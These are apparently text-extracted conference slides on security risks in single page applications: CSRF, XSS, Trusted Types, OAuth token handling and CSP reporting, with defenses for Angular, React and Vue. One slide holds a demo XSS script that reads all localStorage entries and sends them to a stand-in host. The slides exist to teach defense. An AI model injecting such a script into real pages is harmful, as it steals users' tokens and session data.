

jcon.one

#JCON2022



# Security Risk: Single Page Applications !

JCON Online 2022  
22.9.2022

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# About Me

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## Andreas Falk

Novatec Consulting (Germany)

 [andreas.falk@novatec-gmbh.de](mailto:andreas.falk@novatec-gmbh.de)

 @andifalk



# Browser-Based Applications (SPA)

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- Most popular client type
- Most problematic client type (security wise)
- Runs under control of the user
- May be broken by installed browser plugins
- Cannot hide any secrets
- No secure browser storage



# OWASP Top 10 – 2021: Risks for SPA

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- 1. Broken Access Control:** CSRF, CORS, Authorization
2. Cryptographic Failures
- 3. Injection:** Cross Site Scripting (XSS)
- 4. Insecure Design:** Threat Modeling & Security Unit Tests
5. Security Misconfiguration
- 6. Vulnerable and Outdated Components:** NPM Packages
- 7. Identification and Authentication Failures:** OAuth 2.0/OIDC+JWT
8. Software and Data Integrity Failures
- 9. Security Logging and Monitoring Failures:** Client-side Logging
10. Server-Side Request Forgery



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# Broken Access Control

## CSRF, CORS, Authorization

# Cross-Site Request Forgery (CSRF)

## Business Client Application

Customer App  
List of Customers

First Name	Last Name
Hans	Test1
Hans	Test2
Hans	Test3
Hans	Test4

**Customer Form**

First Name	Last Name
<input type="text"/>	<input type="text"/>

**Add customer** **Submit**

## Attacker Client Application



JSESSIONID  
Cookie

Same

JSESSIONID  
Cookie



<http://localhost:8080/api/customers>


Rest API

# CSRF Defenses

- ✓ Do not abuse GET requests (modify resources)
- ✓ Same-Site Cookie Attribute
- ✓ Token-Based Mitigation:
  - Synchronizer Token Pattern
  - Double Submit Cookie
- ✓ Additional Defenses:
  - Captchas
  - Re-Authentication

[OWASP CSRF Prevention Cheat Sheet](#)

# CSRF-Defense: Double Submit Cookie



## Spring Security Configuration (Server-Side):

```
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    }
}
```

# CSRF Attack Defenses (Angular, React, Vue)

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CSRF-Protection (Double Submit Cookie)



No default CSRF-Protection  
Requires Axios (Double Submit Cookie)

<https://angular.io/guide/http#security-xsrf-protection>

<https://axios-http.com/docs/intro>

# Authorization (Access Control)

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Authentication & Authorization  
**MUST** always  
be implemented  
on the **SERVER**-Side



Just hiding UI elements on client-side is  
“Security By Obscurity”

[OWASP Authorization Cheat Sheet](#)



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# Injection


## Cross-Site Scripting (XSS)

# Why is XSS Dangerous?

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
- Top 1 Security Issue in JavaScript applications
- Malicious scripts being executed in the user's browser
- Confidentiality and integrity constraints are harmed
  - Tokens/Session IDs can be sent to an attacker's site
  - Scripts, like Keyloggers, can easily be placed into the site
  - Rootkits can be injected into the browser ([BeEF](#))

# How Cross-Site Scripting (XSS) Happens




# Reflected Cross-Site Scripting

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- ✓ Must be handled on Client- and Server-Side
- ✓ Input Validation & Strong Typing on Server


# Persistent Cross-Site Scripting



- ✓ Must be handled on Client- and Server-Side
- ✓ Input Validation & Strong Typing on Server
- ✓ Input Validation on Data Access Layer too

# DOM-Based Cross-Site Scripting (DOM XSS)

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- ✓ Must be handled completely on client-side
- ✓ No logs on server-side

# Common Cross-Site Scripting (XSS) Defenses

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- ✓ Do NOT put untrusted data into templates & SSR
- ✓ Use strict input validation & strong typing (server-side)
- ✓ Contextual Output Encoding
- ✓ Sanitizing
- ✓ Content Security Policies
- ✓ Trusted Types
- ✓ Protect Session Cookie
- HTTPOnly

[OWASP Cross-Site Scripting Prevention Cheat Sheet](#)

# Contextual Output Encoding (Render as String)

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- Output Encoding for different contexts
  - HTML Entities & HTML Attributes
  - JavaScript
  - CSS
  - URL
- Example for HTML Entity Encoding

– Original:

```
<p><b>Some Text <script>alert('xss')</script></b></p>
```

– Encoded:

```
&lt;p&gt;&lt;b&gt;Some Text &lt;script&gt;alert('xss')&lt;/script&gt;&lt;/b&gt;&lt;/p&gt;
```

---

[OWASP Cross-Site Scripting Prevention Cheat Sheet](#)

# Sanitization (Render as HTML)

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- Strip out everything that contains dangerous HTML & JavaScript parts
- Example for Sanitizing:
  - Original:  
`<p><b>My bold text</b></p>`
  - Sanitized:  
`<p><b>My bold text</b></p>`
- Libraries & APIs
  - DOMPurify (<https://github.com/cure53/DOMPurify>)
  - Sanitize-url (<https://github.com/braintree/sanitize-url>)
  - HTML Sanitizer API  
(Experimental, <https://wicg.github.io/sanitizer-api>)

[OWASP Cross-Site Scripting Prevention Cheat Sheet](#)

# Trusted Types

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- DOM XSS is one of the most common web security
- Trusted Types prevents DOM XSS
  - ✓ by locking down risky sink functions
- Activate Trusted Types by adding header:

*Content-Security-Policy: require-trusted-types-for 'script';*

<https://web.dev/trusted-types>


<https://w3c.github.io/webappsec-trusted-types/dist/spec>

<https://github.com/w3c/webappsec-trusted-types>

# Trusted Types

## Trusted Types for DOM manipulation

An API that forces developers to be very explicit about their use of powerful DOM-injection APIs. Can greatly improve security against XSS attacks.



\*) A polyfill is available for unsupported browsers

<https://caniuse.com/trusted-types>

# XSS Defenses (Angular)

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- ✓ Contextual Output Encoding (Text)
- ✓ Sanitization (HTML + URLs)
- ✓ Built-In Support for Trusted Types

*Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular;*

<https://angular.io/guide/security>

<https://angular.io/guide/security#enforcing-trusted-types>

# XSS Defenses (React, Vue)

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Contextual Output Encoding (Text)

Sanitization (HTML + URLs)

Requires additional sanitizer

-- DOMPurify (<https://github.com/cure53/DOMPurify>)

-- Sanitize-url (<https://github.com/braintree/sanitize-url>)

# XSS Defenses: Avoid Unsafe APIs

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Avoid direct DOM access *ElementRef*

Don't deactivate Sanitization *DomSanitizer#bypassSecurityTrustHtml*



Use *dangerouslySetInnerHTML* only with Sanitization

Avoid direct DOM access *createRef, findDOMNode().innerHTML*



Sanitize HTML rendering

```
<div v-html="userProvidedHtml"></div>  
h('div', { innerHTML: this.userProvidedHtml })  
<div innerHTML={this.userProvidedHtml}></div>
```

# XSS Defenses – SAST & Code Reviews

## Static Application Security Testing (SAST)

Findings:

```
src/app/insecure/insecure.component.ts
```

```
typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust
Bypassing the built-in sanitization could expose the application to cross-site scripting (XSS).
```

Details: <https://sg.run/KWxP>

```
23| safeResourceUrl:SafeScript = this.sanitizer.bypassSecurityTrustScript(`-----  
24| safeHtml: SafeValue = this.sanitizer.bypassSecurityTrustValue(`-----  
25| safeUrl: SafeUrl = this.sanitizer.bypassSecurityTrustUrl(`-----  
29| return this.sanitizer.bypassSecurityTrustHtml(safeH
```

```
typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml
Detected setting HTML from code. This is risky because it's easy to inadvertently expose your users to a cross-site scripting (XSS) attack. This can lead to attackers accessing sensitive information. Instead, do this without dangerouslySetInnerHTML or use DOMPurify to sanitize your HTML.
Details: https://sg.run/rAx6
44| <p dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(this.state.value)}}></p>
45| <span dangerouslySetInnerHTML={{__html: this.state.value}}></span>
```



Security Code Reviews  
*bypassSecurity...*  
*dangerouslySetInnerHTML*




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# Vulnerable and Outdated Components

## Direct & Transitive NPM Packages

# Software Composition Analysis (SCA)



<https://nvd.nist.gov/vuln>




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# **Identification & Authentication Failures**

## **OAuth 2.1/OpenID Connect & JWT**

# Browser-Based Apps: OAuth Auth Code + PKCE



<https://datatracker.ietf.org/doc/draft-ietf-oauth-browser-based-apps/>


# Steal Local Storage Tokens with one XSS

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- Avoid XSS vulnerabilities
- Limit Access Token Lifetime (< 5 min.)
- Rotate refresh tokens on each use

```
<script>
  function stealStorage() {
    let i=0, len=localStorage.length;
    for (; i < len; ++i) {
      let img = document.createElement("IMG");
      img.src = "http://localhost:8080/data?key="
        + localStorage.key(i) + "&value="
        + localStorage.getItem(localStorage.key(i));
    }
  }
</script>
```

# Browser-Based Apps - OAuth BFF



<https://datatracker.ietf.org/doc/draft-ietf-oauth-browser-based-apps/>

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# **Security Logging and Monitoring Failures**

**What is going on in your customer's browser?**

# Security Logging and Monitoring Failures

- *Content-Security-Policy: ... report-uri https://...;*
- *Report-To: '{"group":"default","max\_age":,"endpoints..."}';*

### Issues

All Unresolved 5 For Review 0 Ignored Saved Searches ▾

is:unresolved

Resolve Ignore Mark Reviewed Merge ... Last Seen

**Error** Error: NG0904: unsafe value used in a (resource URL context (see https://g.co/ng/security#xss)) NG0904: unsafe value used in a resource URL context (see https://g.co/ng/security#xss)  
New Issue JAVASCRIPT-ANGULAR-3 50min ago | 4hr old

**TypeError** injectReportDialog(vendor)  
Failed to set the 'src' property on 'HTMLScriptElement': This document requires 'TrustedScriptURL' assignment.  
New Issue JAVASCRIPT-ANGULAR-5 50min ago | 5hr old

**TypeError** injectReportDialog(vendor)  
Failed to set the 'src' property on 'HTMLScriptElement': This document requires 'TrustedScriptURL' assignment.  
New Issue JAVASCRIPT-ANGULAR-2 5min ago | 5hr old

**TypeError** ?(polyfills)  
Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.  
New Issue JAVASCRIPT-ANGULAR-4 4hr ago | 5hr old

**TypeError** poll(..../sentry/scripts/views.js)  
Object [object Object] has no method 'updateFrom'  
New Issue JAVASCRIPT-ANGULAR-1 4hr ago | 4hr old

### CSP Reports

View 100 records

Action	Date	URI	Directive	Blocked URI
All	Days	hostname	All	blocked hostname
	06 May 2022 20:02:17	path		blocked path
Enforced	06 May 2022 20:01:10	http://localhost:4200/secure	script-src-elem	https://o1234842.ingest.sentry.io/api/ember/error-page/
Enforced	06 May 2022 20:01:10	http://localhost:4200/secure	connect-src	https://o1234842.ingest.sentry.io/api/6384507/envelope/
Enforced	06 May 2022 20:02:17	http://localhost:4200/secure	connect-src	https://o1234842.ingest.sentry.io/api/6384507/store/
Enforced	06 May 2022 19:47:07	http://localhost:4200/secure	script-src-elem	https://o1234842.ingest.sentry.io/api/ember/error-page/
Enforced	06 May 2022 20:02:17	http://localhost:4200/insecure	connect-src	https://o1234842.ingest.sentry.io/api/6384507/envelope/
Enforced	06 May 2022 20:02:17	http://localhost:4200/insecure	script-src-elem	inline

[https://owasp.org/Top10/A09\\_2021-SecurityLogging\\_and\\_Monitoring\\_Failures](https://owasp.org/Top10/A09_2021-SecurityLogging_and_Monitoring_Failures)

<https://report-uri.com>

<https://sentry.io>

# Summary

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- Web Browsers are not really trustworthy
  - ✓ Attacks like XSS and CSRF are wide-spread
  - ✓ More attacks possible via installed browser addons
  - ✓ Do not store sensitive data in local/session storage
  - ✓ Also collect security relevant logs and infos from browsers too

# Summary

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- Framework/Lib-specific issues (Angular etc.)
  - ✓ Consult framework/lib docs (i.e. security sections)
  - ✓ Avoid insecure API calls
  - ✓ Check OWASP cheat sheets
  - ✓ Conduct Code Reviews and Testing
  - ✓ Look at provided references of this talk
- Check demos at:  
<https://github.com/andifalk/secure-spa>

# Q & A

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Scan the  
code for my  
contact details

# References

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# Trusted Types References

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- General

<https://web.dev/trusted-types/>

<https://github.com/w3c/webappsec-trusted-types>

<https://w3c.github.io/webappsec-trusted-types/dist/spec/>

- Trusted Types in Angular & React

<https://auth0.com/blog/securing-spa-with-trusted-types/>

<https://angular.io/guide/security#enforcing-trusted-types>

# Angular Security References

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- Preventing XSS in Angular

<https://angular.io/guide/security - preventing-cross-site-scripting-xss>

<https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part2.html>

<https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part3.html>

<https://angular.io/api/platform-browser/DomSanitizer#security-risk>

<https://angular.io/api/core/ElementRef#security-risk>

- Angular Security Cheat Sheet

<https://pragmaticwebsecurity.com/files/cheatsheets/angularwasptop10.pdf>

- Preventing CSRF in Angular

<https://angular.io/guide/security - cross-site-request-forgery>

# React.js Security References

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- Preventing XSS in React

<https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part1.html>

<https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part2.html>

<https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part3.html>

- React.js Security Cheat Sheet

<https://pragmaticwebsecurity.com/files/cheatsheets/reactxss.pdf>

- Preventing CSRF in React.js

[https://en.wikipedia.org/wiki/Cross-site\\_request\\_forgery#Cookie-to-header\\_token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-header_token)

<https://stackoverflow.com/questions/46009469/getting-a-post-403-forbidden-with-spring-boot-vuejs-and-axios-frontend/52026787#52026787>

# Vue.js Security References

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- Preventing XSS in Vue.js

<https://vuejs.org/guide/best-practices/security.html>

[Vue.js Vienna, Web Application Security for Frontend Devs](#)

- Preventing CSRF in Vue.js

[https://en.wikipedia.org/wiki/Cross-site\\_request\\_forgery#Cookie-to-header\\_token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-header_token)

<https://stackoverflow.com/questions/46009469/getting-a-post-403-forbidden-with-spring-boot-vuejs-and-axios-frontend/52026787#52026787>

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